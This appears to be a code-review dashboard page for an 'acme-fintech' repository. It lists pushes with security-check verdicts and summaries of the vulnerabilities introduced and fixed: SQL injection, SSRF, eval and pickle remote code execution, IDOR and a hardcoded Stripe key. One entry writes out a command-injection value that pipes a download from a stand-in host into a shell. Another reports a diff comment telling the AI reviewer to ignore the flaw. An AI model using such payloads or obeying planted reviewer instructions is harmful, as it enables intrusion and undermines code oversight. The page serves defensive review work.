Pushes

All pushes

Connecting…
Saturday, Nov 7
  • sa

    Retry transient webhook failures

    ▲+47
    Check Passed@sam-okafor57fcb33Nov 7

    Adds bounded retries for 5xx webhook responses; still enforces the allow-list via deliver().

Friday, Nov 6
  • pr

    Document report service

    ▲+97
    Check Passed@priya-natarajan1f245f5Nov 6

    Documentation-only improvement to the reports module.

Thursday, Nov 5
  • os

    Invoice detail endpoint

    ▼-23
    Check Warned@oscar-diazdcfcc2d1 mediumNov 5

    Adds GET /invoices/{invoice_id}. The handler authenticates the caller but never checks that the invoice belongs to them, so any customer can enumerate other customers' invoices by id (IDOR).

Wednesday, Nov 4
  • al

    Reject oversized attachment uploads

    ▼-4
    Check Passed@alex-kimd149eefNov 4

    Adds an attachment size limit helper.

Tuesday, Nov 3
  • ma

    Typed settings with validation

    ▼-4
    Check Passed@maya-chencb86b36Nov 3

    Adds a fail-fast helper for required settings.

Monday, Nov 2
  • sa

    Restrict webhook test deliveries to https public hosts

    ▲+105
    Check Passed@sam-okafor2dbb29dNov 2

    Adds an https + public-address allow-list before outbound webhook delivery and disables redirects, closing the SSRF from day 5.

Sunday, Nov 1
  • os

    Validate invoice status filter

    ▲+94
    Check Passed@oscar-diazf06ef04Nov 1

    Adds an allow-list for the status filter.

Saturday, Oct 31
  • jo

    Remove eval from metrics and require admin

    ▲+120
    Check Passed@jordan-blake4c2a267Oct 31

    Replaces eval() with a dictionary lookup and restores the admin dependency.

  • jo

    Faster admin metrics endpoint

    ▼-132
    Check Failed@jordan-blakee4f17b11 critical1 high1 mediumOct 31

    Adds GET /admin/metrics with no admin dependency and evaluates the stat query parameter with eval(): unauthenticated remote code execution. The diff also contains a comment instructing the AI reviewer to ignore it.

Friday, Oct 30
  • pr

    Replace pickled templates with JSON and fix export shell call

    ▲+208
    Check Passed@priya-natarajaneaf327aOct 30

    Removes both injection sinks introduced earlier: templates are parsed as JSON and exports use tarfile with an alphanumeric name check.

Thursday, Oct 29
  • pr

    Accept uploaded report templates

    ▼-105
    Check Failed@priya-natarajan24618c71 criticalOct 29

    Adds POST /admin/report-templates which unpickles the raw request body. pickle.loads on attacker bytes is remote code execution on the API host.

Wednesday, Oct 28
  • al

    Cache invoice lookups per request

    ▲+7
    Check Passed@alex-kimc1e7df6Oct 28

    Caps the invoice listing page size.

Tuesday, Oct 27
  • ma

    Customer statement totals

    ▲+4
    Check Passed@maya-chenb90d88aOct 27

    Adds integer-cents statement totals; documented rationale for integer math.

Monday, Oct 26
  • sa

    Refund eligibility rules

    ▲+99
    Check Warned@sam-okafor6ac2cb9Oct 26

    Adds refund_ok(), a deeply nested rule ladder with a bare except and a mutable default argument. No vulnerability, but hard to review and test.

  • jo

    Load Stripe key from environment

    ▲+350
    Check Passed@jordan-blakea980c31Oct 26

    Moves the Stripe secret to configuration. Note: the leaked key still needs rotation in the Stripe dashboard.

Sunday, Oct 25
  • jo

    Wire up Stripe charges

    ▼-730
    Check Failed@jordan-blake4184e601 criticalOct 25

    Hardcodes a live Stripe secret key in billing.py. Anyone with repository access (or a leaked clone/CI log) can issue charges and refunds against Acme's account.

Saturday, Oct 24
  • al

    Serve uploaded invoice attachments

    ▲+9
    Check Passed@alex-kim559e88eOct 24

    Adds GET /files/uploads/{filename}. The static rule flagged os.path.join with a caller-controlled name in storage.read_attachment.

Friday, Oct 23
  • sa

    Webhook test delivery endpoint

    ▼-422
    Check Warned@sam-okafor07e623c1 mediumOct 23

    Adds POST /webhooks/test which makes the server POST to any caller-supplied URL (notifications.deliver). Attackers can probe internal services or cloud metadata (169.254.169.254) through the payments API.

Thursday, Oct 22
  • os

    Fix invoice search to use bound parameters

    ▲+284
    Check Passed@oscar-diazb41b1fdOct 22

    Replaces the interpolated SQL in search_invoices with bound parameters; the injection introduced on day 2 is closed.

Wednesday, Oct 21
  • ma

    Expose paginated user directory

    ▼-14
    Check Passed@maya-chen9c40d53Oct 21

    Adds an authenticated, size-capped user directory endpoint.

  • pr

    Nightly export archives for admins

    ▼-520
    Check Failed@priya-natarajan25e44bb1 highOct 21

    Adds POST /admin/exports/{name}. The path segment is interpolated into a shell command in reports.export_archive (shell=True), so name=x;curl evil|sh executes arbitrary commands. The route requires admin, which limits but does not remove the risk (compromised or malicious admin, CSRF from an admin session).

Tuesday, Oct 20
  • os

    Invoice search by customer email

    ▼-594
    Check Failed@oscar-diaz392a4851 highOct 20

    Introduces GET /invoices/search, which forwards the customer and status query parameters into BillingService.search_invoices where they are interpolated into raw SQL. Any authenticated user can dump or modify the invoices table.

Monday, Oct 19
  • al

    Add invoice attachment existence check

    ▼-28
    Check Passed@alex-kim2b3311eOct 19

    Small helper that checks whether an invoice PDF exists; no new input paths.

Sunday, Oct 18
  • ma

    Add active-user listing to UserService

    •0
    Check Passed@maya-chen1379c9cOct 18

    Adds a paginated, parameterized active-user query with a hard page-size cap.

02Days Since/acme-fintech
OverviewPushesDataPlay
Sign in
OverviewPushesDataPlay